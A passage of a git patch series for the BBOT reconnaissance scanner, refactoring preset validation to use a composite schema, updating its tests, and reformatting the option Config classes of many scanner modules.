f"{namespace}.{module_name}" - - # Re-import by path. Uses the existing importlib pattern from ModuleLoader.load_module. - spec = importlib.util.spec_from_file_location(full_namespace, str(module_path)) - if spec is None or spec.loader is None: - return None - mod = importlib.util.module_from_spec(spec) - try: - spec.loader.exec_module(mod) - except Exception as e: - log.debug(f"Could not import {module_name} for validation: {e}") - return None - - # Find the module class (same heuristic as ModuleLoader.load_module) - for attr_name in vars(mod): - value = getattr(mod, attr_name) - if not hasattr(value, "watched_events") or not hasattr(value, "produced_events"): - continue - if not isinstance(getattr(value, "watched_events"), list): - continue - if getattr(value, "__name__", "").lower() != module_name.lower(): - continue - cfg = getattr(value, "Config", None) - if cfg is not None and isinstance(cfg, type) and issubclass(cfg, BaseModuleConfig): - return cfg - return None - return None - - -def _modules_referenced(preset_dict: dict, config_dict: dict) -> set[str]: - """Every module mentioned anywhere in the preset — enabled, configured, or both.""" - names: set[str] = set() - for key in ("modules", "output_modules", "exclude_modules"): - names.update(preset_dict.get(key) or []) - modules_config = config_dict.get("modules") or {} - if isinstance(modules_config, dict): - names.update(modules_config.keys()) - return names - - -def validate_preset( - preset_dict: dict, - module_loader=None, - *, - validate_modules: bool = True, - known_modules: Optional[Iterable[str]] = None, -) -> list[PresetValidationError]: - """ - Validate a preset dict against BBOT's schemas. + Validate a preset dict against BBOT's composite schema. - Returns a list of `PresetValidationError` objects. An empty list means the - preset is valid. The function aggregates errors across all three layers - (preset, config, per-module) so a user with multiple typos sees them all. + Returns a list of `PresetValidationError` objects. An empty list means + the preset is valid. Errors from all layers are aggregated in a single + pass, so a user with multiple typos sees them all at once. Args: preset_dict: Preset as a plain dict (e.g. from `yaml.safe_load`). - module_loader: Optional module loader for per-module validation. Falls - back to the global MODULE_LOADER if not provided. If neither is - available, per-module validation is skipped. - validate_modules: If False, only validate preset top-level keys and the - global config tree (skip per-module Config validation). - known_modules: Optional set of known module names. If provided, module - names not in this set are reported as errors. Defaults to the - module loader's known modules. + module_loader: Optional module loader. Falls back to the global + `MODULE_LOADER` if not provided. Examples: >>> errors = validate_preset({"modlues": ["nuclei"]}) >>> print(errors[0]) [preset:modlues] Unknown option: 'modlues' (value: ['nuclei']) """ - errors: list[PresetValidationError] = [] - if not isinstance(preset_dict, dict): return [PresetValidationError("preset", "", f"Expected a dict, got {type(preset_dict).__name__}")] - # 1. Top-level preset keys + if module_loader is None: + from bbot.core.modules import MODULE_LOADER + + module_loader = MODULE_LOADER + + errors: list[PresetValidationError] = [] + + # Single-pass validation against the composite schema try: - PresetSchema.model_validate(preset_dict) + module_loader.validation_schema.model_validate(preset_dict) except ValidationError as e: - errors.extend(_format_pydantic_errors(e, where="preset")) - - # 2. Global config tree - config_dict = preset_dict.get("config") or {} - if not isinstance(config_dict, dict): - errors.append( - PresetValidationError("config", "", f"`config` must be a dict, got {type(config_dict).__name__}") - ) - config_dict = {} - else: - # Exclude the `modules` section from root-level BBOTConfig validation; - # per-module schemas are validated separately below. - config_for_root = {k: v for k, v in config_dict.items() if k != "modules"} - try: - BBOTConfig.model_validate(config_for_root) - except ValidationError as e: - errors.extend(_format_pydantic_errors(e, where="config")) - - # 3. Per-module config - if validate_modules: - if module_loader is None: - try: - from bbot.core.modules import MODULE_LOADER - - module_loader = MODULE_LOADER - except Exception: - module_loader = None - - referenced = _modules_referenced(preset_dict, config_dict) - - if module_loader is not None: - if known_modules is None: - known_modules = set(module_loader.all_module_choices) - else: - known_modules = set(known_modules) - - modules_config = config_dict.get("modules") or {} - for name in sorted(referenced): - if name not in known_modules: - errors.append(PresetValidationError("preset", "modules", f'Unknown module: "{name}"')) - continue - - raw = modules_config.get(name) or {} - if not isinstance(raw, dict): - errors.append( - PresetValidationError( - f"module:{name}", - "", - f"module config must be a dict, got {type(raw).__name__}", - ) - ) - continue + errors.extend(_format_errors(e)) - cfg_cls = _get_module_config_class(name, module_loader) - if cfg_cls is None: - # legacy module — no Config class yet. Skip strict validation. - continue - try: - cfg_cls.model_validate(raw) - except ValidationError as e: - errors.extend(_format_pydantic_errors(e, where=f"module:{name}")) + # Module names listed in top-level `modules`/`output_modules`/`exclude_modules` + # aren't covered by the composite schema (they're a list of strings, not a + # nested mapping). Check them here. + known_modules = set(module_loader.all_module_choices) + for key in ("modules", "output_modules", "exclude_modules"): + for name in preset_dict.get(key) or []: + if name not in known_modules: + errors.append( + PresetValidationError( + where="preset", + path=key, + message=f'Unknown module: "{name}"', + ) + ) return errors @@ -234,12 +184,3 @@ def validate_preset_file(path: str | Path, **kwargs) -> list[PresetValidationErr __all__ = ["PresetValidationError", "validate_preset", "validate_preset_file"] - - -def _assert_preset_valid(preset_dict: dict, **kwargs) -> None: - """Raise if a preset dict has any validation errors. Tests use this.""" - from bbot.errors import ValidationError as BBOTValidationError - - errs = validate_preset(preset_dict, **kwargs) - if errs: - raise BBOTValidationError("\n".join(str(e) for e in errs)) diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 4c697893fa..128a5c1979 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -9,14 +9,14 @@ def test_validate_preset_valid(): def test_validate_preset_typo_top_level(): - errs = validate_preset({"modlues": ["nuclei"]}, validate_modules=False) + errs = validate_preset({"modlues": ["nuclei"]}) assert len(errs) == 1 assert errs[0].where == "preset" assert "modlues" in errs[0].message def test_validate_preset_typo_in_config(): - errs = validate_preset({"config": {"scope": {"strct": True}}}, validate_modules=False) + errs = validate_preset({"config": {"scope": {"strct": True}}}) assert len(errs) == 1 assert errs[0].where == "config" assert "strct" in errs[0].message @@ -24,7 +24,7 @@ def test_validate_preset_typo_in_config(): def test_validate_preset_wrong_type(): - errs = validate_preset({"config": {"web": {"http_timeout": "not-a-number"}}}, validate_modules=False) + errs = validate_preset({"config": {"web": {"http_timeout": "not-a-number"}}}) assert len(errs) == 1 assert errs[0].where == "config" assert errs[0].path == "web.http_timeout" @@ -36,6 +36,30 @@ def test_validate_preset_unknown_module(): assert any('Unknown module: "nucleii"' in str(e) for e in errs) +def test_validate_preset_unknown_module_option(): + """Typo in a known module's option key gets tagged `module:`.""" + errs = validate_preset({"config": {"modules": {"nuclei": {"tgas": "apache"}}}}) + assert len(errs) == 1 + assert errs[0].where == "module:nuclei" + assert errs[0].path == "tgas" + assert "tgas" in errs[0].message + + +def test_validate_preset_wrong_type_on_module_option(): + """Known module option with wrong type (nuclei.ratelimit is int).""" + errs = validate_preset({"config": {"modules": {"nuclei": {"ratelimit": "not-a-number"}}}}) + assert len(errs) == 1 + assert errs[0].where == "module:nuclei" + assert errs[0].path == "ratelimit" + assert "integer" in errs[0].message + + +def test_validate_preset_unknown_module_in_config(): + """Unknown module name nested under config.modules gets a clean error.""" + errs = validate_preset({"config": {"modules": {"nucleii": {"tgas": "x"}}}}) + assert any('Unknown module: "nucleii"' in str(e) for e in errs) + + def test_validate_preset_multiple_errors(): """A preset with several typos should produce errors for all of them, not just the first.""" errs = validate_preset( @@ -46,7 +70,6 @@ def test_validate_preset_multiple_errors(): "web": {"http_timeout": "bad"}, # wrong type }, }, - validate_modules=False, ) assert len(errs) >= 3 messages = " ".join(str(e) for e in errs) From 393ae72b17303892002fb9f3df1dba4894f321b4 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 27 Apr 2026 13:57:54 -0400 Subject: [PATCH 571/912] ruffed --- bbot/modules/anubisdb.py | 6 ++- bbot/modules/apkpure.py | 6 ++- bbot/modules/baddns.py | 2 + bbot/modules/baddns_direct.py | 10 ++-- bbot/modules/baddns_zone.py | 10 ++-- bbot/modules/badsecrets.py | 4 +- bbot/modules/bevigil.py | 5 +- bbot/modules/bucket_amazon.py | 4 +- bbot/modules/bucket_digitalocean.py | 3 +- bbot/modules/bucket_file_enum.py | 4 +- bbot/modules/bucket_firebase.py | 3 +- bbot/modules/bucket_google.py | 3 +- bbot/modules/bucket_microsoft.py | 3 +- bbot/modules/bufferoverrun.py | 5 +- bbot/modules/builtwith.py | 6 ++- bbot/modules/c99.py | 3 +- bbot/modules/censys_dns.py | 5 +- bbot/modules/censys_ip.py | 12 +++-- bbot/modules/chaos.py | 3 +- bbot/modules/credshed.py | 8 +-- bbot/modules/dehashed.py | 4 +- bbot/modules/dnsbimi.py | 7 +-- bbot/modules/dnsbrute.py | 9 +++- bbot/modules/dnsbrute_mutations.py | 4 +- bbot/modules/dnscaa.py | 10 ++-- bbot/modules/dnscommonsrv.py | 2 +- bbot/modules/dnstlsrpt.py | 7 +-- bbot/modules/docker_pull.py | 8 ++- bbot/modules/ffuf.py | 18 ++++--- bbot/modules/ffuf_shortnames.py | 32 +++++++---- bbot/modules/filedownload.py | 74 ++++++++++++++++++++++++-- bbot/modules/fullhunt.py | 3 +- bbot/modules/git_clone.py | 8 ++- bbot/modules/gitdumper.py | 12 +++-- bbot/modules/github_codesearch.py | 5 +- bbot/modules/github_org.py | 5 +- bbot/modules/github_usersearch.py | 3 +- bbot/modules/github_workflows.py | 7 +-- bbot/modules/gitlab_com.py | 2 +- bbot/modules/gitlab_onprem.py | 2 +- bbot/modules/gowitness.py | 22 ++++---- bbot/modules/graphql_introspection.py | 7 ++- bbot/modules/httpx.py | 13 ++--- bbot/modules/hunterio.py | 3 +- bbot/modules/iis_shortnames.py | 10 +++- bbot/modules/internal/excavate.py | 11 ++-- bbot/modules/internal/speculate.py | 11 ++-- bbot/modules/ip2location.py | 9 +++- bbot/modules/ipneighbor.py | 4 +- bbot/modules/ipstack.py | 4 +- bbot/modules/jadx.py | 2 + bbot/modules/kreuzberg.py | 52 +++++++++++++++++- bbot/modules/leakix.py | 4 +- bbot/modules/legba.py | 42 +++++++++++---- bbot/modules/lightfuzz/lightfuzz.py | 25 ++++++--- bbot/modules/medusa.py | 20 ++++--- bbot/modules/ntlm.py | 3 +- bbot/modules/nuclei.py | 23 ++++---- bbot/modules/oauth.py | 3 +- bbot/modules/otx.py | 3 +- bbot/modules/output/asset_inventory.py | 15 ++++-- bbot/modules/output/csv.py | 3 +- bbot/modules/output/discord.py | 9 ++-- bbot/modules/output/elastic.py | 12 +++-- bbot/modules/output/emails.py | 4 +- bbot/modules/output/http.py | 15 +++--- bbot/modules/output/json.py | 4 +- bbot/modules/output/kafka.py | 8 ++- bbot/modules/output/mongo.py | 12 +++-- bbot/modules/output/mysql.py | 12 +++-- bbot/modules/output/nats.py | 6 ++- bbot/modules/output/neo4j.py | 8 +-- bbot/modules/output/postgres.py | 12 +++-- bbot/modules/output/rabbitmq.py | 6 ++- bbot/modules/output/slack.py | 10 ++-- bbot/modules/output/splunk.py | 11 ++-- bbot/modules/output/sqlite.py | 4 +- bbot/modules/output/stdout.py | 12 +++-- bbot/modules/output/subdomains.py | 6 ++- bbot/modules/output/teams.py | 9 ++-- bbot/modules/output/txt.py | 3 +- bbot/modules/output/web_parameters.py | 5 +- bbot/modules/output/web_report.py | 9 +++- bbot/modules/output/websocket.py | 13 +++-- bbot/modules/output/zeromq.py | 5 +- bbot/modules/paramminer_cookies.py | 6 +-- bbot/modules/paramminer_getparams.py | 10 ++-- bbot/modules/paramminer_headers.py | 10 ++-- bbot/modules/passivetotal.py | 3 +- bbot/modules/pgp.py | 11 +++- bbot/modules/portfilter.py | 7 ++- bbot/modules/portscan.py | 33 ++++++++---- bbot/modules/postman.py | 4 +- bbot/modules/postman_download.py | 9 +++- bbot/modules/retirejs.py | 9 ++-- bbot/modules/securitytrails.py | 3 +- bbot/modules/securitytxt.py | 5 +- bbot/modules/shodan_dns.py | 3 +- bbot/modules/shodan_enterprise.py | 8 ++- bbot/modules/shodan_idb.py | 6 ++- bbot/modules/sslcert.py | 4 +- bbot/modules/subdomainradar.py | 7 +-- bbot/modules/telerik.py | 4 +- bbot/modules/trajan.py | 16 +++--- bbot/modules/trickest.py | 3 +- bbot/modules/trufflehog.py | 14 +++-- bbot/modules/url_manipulation.py | 5 +- bbot/modules/urlscan.py | 3 +- bbot/modules/virustotal.py | 3 +- bbot/modules/wafw00f.py | 4 +- bbot/modules/wayback.py | 9 +++- bbot/modules/wpscan.py | 19 ++++--- bbot/scanner/preset/validate.py | 55 ++++++++++++------- 113 files changed, 765 insertions(+), 319 deletions(-) diff --git a/bbot/modules/anubisdb.py b/bbot/modules/anubisdb.py index 0d667e15a0..2e1688a489 100644 --- a/bbot/modules/anubisdb.py +++ b/bbot/modules/anubisdb.py @@ -12,8 +12,12 @@ class anubisdb(subdomain_enum): "created_date": "2022-10-04", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - limit: int = Field(1000, description='Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)') + limit: int = Field( + 1000, + description="Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)", + ) base_url = "https://jldc.me/anubis/subdomains" dns_abort_depth = 5 diff --git a/bbot/modules/apkpure.py b/bbot/modules/apkpure.py index 1e38d3ea5d..602c048725 100644 --- a/bbot/modules/apkpure.py +++ b/bbot/modules/apkpure.py @@ -14,8 +14,12 @@ class apkpure(BaseModule): "created_date": "2024-10-11", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - output_folder: str = Field('', description='Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage.') + output_folder: str = Field( + "", + description="Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage.", + ) async def setup(self): output_folder = self.config.get("output_folder", "") diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 5cbddf37ed..45d2f28a93 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -48,6 +48,7 @@ class baddns(BaseModule): "created_date": "2024-01-18", "author": "@liquidsec", } + class Config(BaseModuleConfig): custom_nameservers: list[str] = Field( default_factory=list, description="Force BadDNS to use a list of custom nameservers" @@ -62,6 +63,7 @@ class Config(BaseModuleConfig): default_factory=list, description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", ) + module_threads = 8 deps_pip = ["baddns~=2.1.0"] diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 2bde5917b0..6f9a7ede3a 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -12,10 +12,14 @@ class baddns_direct(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } + class Config(BaseModuleConfig): - custom_nameservers: list = Field([], description='Force BadDNS to use a list of custom nameservers') - min_severity: str = Field('LOW', description='Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)') - min_confidence: str = Field('MEDIUM', description='Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)') + custom_nameservers: list = Field([], description="Force BadDNS to use a list of custom nameservers") + min_severity: str = Field("LOW", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)") + min_confidence: str = Field( + "MEDIUM", description="Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)" + ) + module_threads = 8 deps_pip = ["baddns~=2.1.0"] diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 5193b9ef81..25eda1695d 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -12,10 +12,14 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } + class Config(BaseModuleConfig): - custom_nameservers: list = Field([], description='Force BadDNS to use a list of custom nameservers') - min_severity: str = Field('INFO', description='Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)') - min_confidence: str = Field('MEDIUM', description='Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)') + custom_nameservers: list = Field([], description="Force BadDNS to use a list of custom nameservers") + min_severity: str = Field("INFO", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)") + min_confidence: str = Field( + "MEDIUM", description="Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)" + ) + module_threads = 8 deps_pip = ["baddns~=2.1.0"] diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index b398661604..f9847e8fb1 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -16,8 +16,10 @@ class badsecrets(BaseModule): "created_date": "2022-11-19", "author": "@liquidsec", } + class Config(BaseModuleConfig): - custom_secrets: Optional[str] = Field(None, description='Include custom secrets loaded from a local file') + custom_secrets: Optional[str] = Field(None, description="Include custom secrets loaded from a local file") + deps_pip = ["badsecrets~=1.0.0"] async def setup(self): diff --git a/bbot/modules/bevigil.py b/bbot/modules/bevigil.py index 43de0fe4f9..9103fe872b 100644 --- a/bbot/modules/bevigil.py +++ b/bbot/modules/bevigil.py @@ -17,9 +17,10 @@ class bevigil(subdomain_enum_apikey): "author": "@alt-glitch", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='BeVigil OSINT API Key') - urls: bool = Field(False, description='Emit URLs in addition to DNS_NAMEs') + api_key: str = Field("", description="BeVigil OSINT API Key") + urls: bool = Field(False, description="Emit URLs in addition to DNS_NAMEs") base_url = "https://osint.bevigil.com/api" diff --git a/bbot/modules/bucket_amazon.py b/bbot/modules/bucket_amazon.py index 10cd2a3708..98c0f74846 100644 --- a/bbot/modules/bucket_amazon.py +++ b/bbot/modules/bucket_amazon.py @@ -12,8 +12,10 @@ class bucket_amazon(bucket_template): "created_date": "2022-11-04", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - permutations: bool = Field(False, description='Whether to try permutations') + permutations: bool = Field(False, description="Whether to try permutations") + scope_distance_modifier = 3 cloudcheck_provider_name = "Amazon" diff --git a/bbot/modules/bucket_digitalocean.py b/bbot/modules/bucket_digitalocean.py index a4ae6e7128..187e71f2ba 100644 --- a/bbot/modules/bucket_digitalocean.py +++ b/bbot/modules/bucket_digitalocean.py @@ -12,8 +12,9 @@ class bucket_digitalocean(bucket_template): "created_date": "2022-11-08", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - permutations: bool = Field(False, description='Whether to try permutations') + permutations: bool = Field(False, description="Whether to try permutations") cloudcheck_provider_name = "DigitalOcean" delimiters = ("", "-") diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py index ac96a94219..b3d3d854b3 100644 --- a/bbot/modules/bucket_file_enum.py +++ b/bbot/modules/bucket_file_enum.py @@ -19,8 +19,10 @@ class bucket_file_enum(BaseModule): "author": "@TheTechromancer", } flags = ["safe", "passive", "cloud-enum"] + class Config(BaseModuleConfig): - file_limit: int = Field(50, description='Limit the number of files downloaded per bucket') + file_limit: int = Field(50, description="Limit the number of files downloaded per bucket") + scope_distance_modifier = 2 async def setup(self): diff --git a/bbot/modules/bucket_firebase.py b/bbot/modules/bucket_firebase.py index 81fab8bfde..ce93f713ef 100644 --- a/bbot/modules/bucket_firebase.py +++ b/bbot/modules/bucket_firebase.py @@ -12,8 +12,9 @@ class bucket_firebase(bucket_template): "created_date": "2023-03-20", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - permutations: bool = Field(False, description='Whether to try permutations') + permutations: bool = Field(False, description="Whether to try permutations") cloudcheck_provider_name = "Google" delimiters = ("", "-") diff --git a/bbot/modules/bucket_google.py b/bbot/modules/bucket_google.py index 5610c87773..9185f2ce6b 100644 --- a/bbot/modules/bucket_google.py +++ b/bbot/modules/bucket_google.py @@ -16,8 +16,9 @@ class bucket_google(bucket_template): "created_date": "2022-11-04", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - permutations: bool = Field(False, description='Whether to try permutations') + permutations: bool = Field(False, description="Whether to try permutations") cloudcheck_provider_name = "Google" delimiters = ("", "-", ".", "_") diff --git a/bbot/modules/bucket_microsoft.py b/bbot/modules/bucket_microsoft.py index b392f0307a..51e4fdb1c2 100644 --- a/bbot/modules/bucket_microsoft.py +++ b/bbot/modules/bucket_microsoft.py @@ -12,8 +12,9 @@ class bucket_microsoft(bucket_template): "created_date": "2022-11-04", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - permutations: bool = Field(False, description='Whether to try permutations') + permutations: bool = Field(False, description="Whether to try permutations") cloudcheck_provider_name = "Microsoft" delimiters = ("", "-") diff --git a/bbot/modules/bufferoverrun.py b/bbot/modules/bufferoverrun.py index aa3b5c6c99..bbcd1bc0a5 100644 --- a/bbot/modules/bufferoverrun.py +++ b/bbot/modules/bufferoverrun.py @@ -13,9 +13,10 @@ class BufferOverrun(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='BufferOverrun API key') - commercial: bool = Field(False, description='Use commercial API') + api_key: str = Field("", description="BufferOverrun API key") + commercial: bool = Field(False, description="Use commercial API") base_url = "https://tls.bufferover.run/dns" commercial_base_url = "https://bufferover-run-tls.p.rapidapi.com/ipv4/dns" diff --git a/bbot/modules/builtwith.py b/bbot/modules/builtwith.py index 6dad9b6e5c..38102ed57d 100644 --- a/bbot/modules/builtwith.py +++ b/bbot/modules/builtwith.py @@ -25,9 +25,11 @@ class builtwith(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Builtwith API key') - redirects: bool = Field(True, description='Also look up inbound and outbound redirects') + api_key: str = Field("", description="Builtwith API key") + redirects: bool = Field(True, description="Also look up inbound and outbound redirects") + base_url = "https://api.builtwith.com" async def handle_event(self, event): diff --git a/bbot/modules/c99.py b/bbot/modules/c99.py index 686861cb07..1676117779 100644 --- a/bbot/modules/c99.py +++ b/bbot/modules/c99.py @@ -13,8 +13,9 @@ class c99(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='c99.nl API key') + api_key: str = Field("", description="c99.nl API key") base_url = "https://api.c99.nl" ping_url = f"{base_url}/randomnumber?key={{api_key}}&between=1,100&json" diff --git a/bbot/modules/censys_dns.py b/bbot/modules/censys_dns.py index dc58d5bb7c..f3a4645a52 100644 --- a/bbot/modules/censys_dns.py +++ b/bbot/modules/censys_dns.py @@ -18,9 +18,10 @@ class censys_dns(censys): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description="Censys.io API Key in the format of 'key:secret'") - max_pages: int = Field(5, description='Maximum number of pages to fetch (100 results per page)') + api_key: str = Field("", description="Censys.io API Key in the format of 'key:secret'") + max_pages: int = Field(5, description="Maximum number of pages to fetch (100 results per page)") async def setup(self): self.max_pages = self.config.get("max_pages", 5) diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index a631c82e7e..9a798dbf7c 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -25,10 +25,16 @@ class censys_ip(censys): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description="Censys.io API Key in the format of 'key:secret'") - dns_names_limit: int = Field(100, description='Maximum number of DNS names to extract from dns.names (default 100)') - in_scope_only: bool = Field(True, description='Only query in-scope IPs. If False, will query up to distance 1.') + api_key: str = Field("", description="Censys.io API Key in the format of 'key:secret'") + dns_names_limit: int = Field( + 100, description="Maximum number of DNS names to extract from dns.names (default 100)" + ) + in_scope_only: bool = Field( + True, description="Only query in-scope IPs. If False, will query up to distance 1." + ) + scope_distance_modifier = 1 async def setup(self): diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py index ea094fd44d..b9e803f8e9 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -13,8 +13,9 @@ class chaos(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Chaos API key') + api_key: str = Field("", description="Chaos API key") base_url = "https://dns.projectdiscovery.io/dns" ping_url = f"{base_url}/example.com" diff --git a/bbot/modules/credshed.py b/bbot/modules/credshed.py index a363a31f39..1f0f13f74f 100644 --- a/bbot/modules/credshed.py +++ b/bbot/modules/credshed.py @@ -15,10 +15,12 @@ class credshed(subdomain_enum): "author": "@SpamFaux", "auth_required": True, } + class Config(BaseModuleConfig): - username: str = Field('', description='Credshed username') - password: str = Field('', description='Credshed password') - credshed_url: str = Field('', description='URL of credshed server') + username: str = Field("", description="Credshed username") + password: str = Field("", description="Credshed password") + credshed_url: str = Field("", description="URL of credshed server") + target_only = True async def setup(self): diff --git a/bbot/modules/dehashed.py b/bbot/modules/dehashed.py index 6d0cdc907b..27903b86b3 100644 --- a/bbot/modules/dehashed.py +++ b/bbot/modules/dehashed.py @@ -15,8 +15,10 @@ class dehashed(subdomain_enum): "author": "@SpamFaux", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='DeHashed API Key') + api_key: str = Field("", description="DeHashed API Key") + target_only = True base_url = "https://api.dehashed.com/v2/search" diff --git a/bbot/modules/dnsbimi.py b/bbot/modules/dnsbimi.py index 152496c732..9463966a81 100644 --- a/bbot/modules/dnsbimi.py +++ b/bbot/modules/dnsbimi.py @@ -54,10 +54,11 @@ class dnsbimi(BaseModule): "author": "@colin-stubbs", "created_date": "2024-11-15", } + class Config(BaseModuleConfig): - emit_raw_dns_records: bool = Field(False, description='Emit RAW_DNS_RECORD events') - emit_urls: bool = Field(True, description='Emit URL_UNVERIFIED events') - selectors: str = Field('default,email,mail,bimi', description='CSV list of BIMI selectors to check') + emit_raw_dns_records: bool = Field(False, description="Emit RAW_DNS_RECORD events") + emit_urls: bool = Field(True, description="Emit URL_UNVERIFIED events") + selectors: str = Field("default,email,mail,bimi", description="CSV list of BIMI selectors to check") async def setup(self): self.emit_raw_dns_records = self.config.get("emit_raw_dns_records", False) diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 00b194cacb..5bd0e55516 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -12,9 +12,14 @@ class dnsbrute(subdomain_enum): "author": "@TheTechromancer", "created_date": "2024-04-24", } + class Config(BaseModuleConfig): - wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', description='Subdomain wordlist URL') - max_depth: int = Field(5, description='How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com') + wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", + description="Subdomain wordlist URL", + ) + max_depth: int = Field(5, description="How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com") + deps_common = ["massdns"] reject_wildcards = "strict" dedup_strategy = "lowest_parent" diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index 4ef4fd29bb..7927af3c75 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -14,8 +14,10 @@ class dnsbrute_mutations(BaseModule): "author": "@TheTechromancer", "created_date": "2024-04-25", } + class Config(BaseModuleConfig): - max_mutations: int = Field(100, description='Maximum number of target-specific mutations to try per subdomain') + max_mutations: int = Field(100, description="Maximum number of target-specific mutations to try per subdomain") + deps_common = ["massdns"] _qsize = 10000 diff --git a/bbot/modules/dnscaa.py b/bbot/modules/dnscaa.py index 136c09339e..412ed9d6ff 100644 --- a/bbot/modules/dnscaa.py +++ b/bbot/modules/dnscaa.py @@ -31,11 +31,13 @@ class dnscaa(BaseModule): produced_events = ["DNS_NAME", "EMAIL_ADDRESS", "URL_UNVERIFIED"] flags = ["safe", "subdomain-enum", "email-enum", "passive"] meta = {"description": "Check for CAA records", "author": "@colin-stubbs", "created_date": "2024-05-26"} + class Config(BaseModuleConfig): - in_scope_only: bool = Field(True, description='Only check in-scope domains') - dns_names: bool = Field(True, description='emit DNS_NAME events') - emails: bool = Field(True, description='emit EMAIL_ADDRESS events') - urls: bool = Field(True, description='emit URL_UNVERIFIED events') + in_scope_only: bool = Field(True, description="Only check in-scope domains") + dns_names: bool = Field(True, description="emit DNS_NAME events") + emails: bool = Field(True, description="emit EMAIL_ADDRESS events") + urls: bool = Field(True, description="emit URL_UNVERIFIED events") + # accept DNS_NAMEs out to 2 hops if in_scope_only is False scope_distance_modifier = 2 diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 203f82939b..855663a28a 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -13,7 +13,7 @@ class dnscommonsrv(subdomain_enum): deps_common = ["massdns"] class Config(BaseModuleConfig): - max_depth: int = Field(2, description='The maximum subdomain depth to brute-force SRV records') + max_depth: int = Field(2, description="The maximum subdomain depth to brute-force SRV records") async def setup(self): self.max_subdomain_depth = self.config.get("max_depth", 2) diff --git a/bbot/modules/dnstlsrpt.py b/bbot/modules/dnstlsrpt.py index 0dc5efce44..2513ebe71e 100644 --- a/bbot/modules/dnstlsrpt.py +++ b/bbot/modules/dnstlsrpt.py @@ -42,10 +42,11 @@ class dnstlsrpt(BaseModule): "author": "@colin-stubbs", "created_date": "2024-07-26", } + class Config(BaseModuleConfig): - emit_emails: bool = Field(True, description='Emit EMAIL_ADDRESS events') - emit_raw_dns_records: bool = Field(False, description='Emit RAW_DNS_RECORD events') - emit_urls: bool = Field(True, description='Emit URL_UNVERIFIED events') + emit_emails: bool = Field(True, description="Emit EMAIL_ADDRESS events") + emit_raw_dns_records: bool = Field(False, description="Emit RAW_DNS_RECORD events") + emit_urls: bool = Field(True, description="Emit URL_UNVERIFIED events") async def setup(self): self.emit_emails = self.config.get("emit_emails", True) diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py index 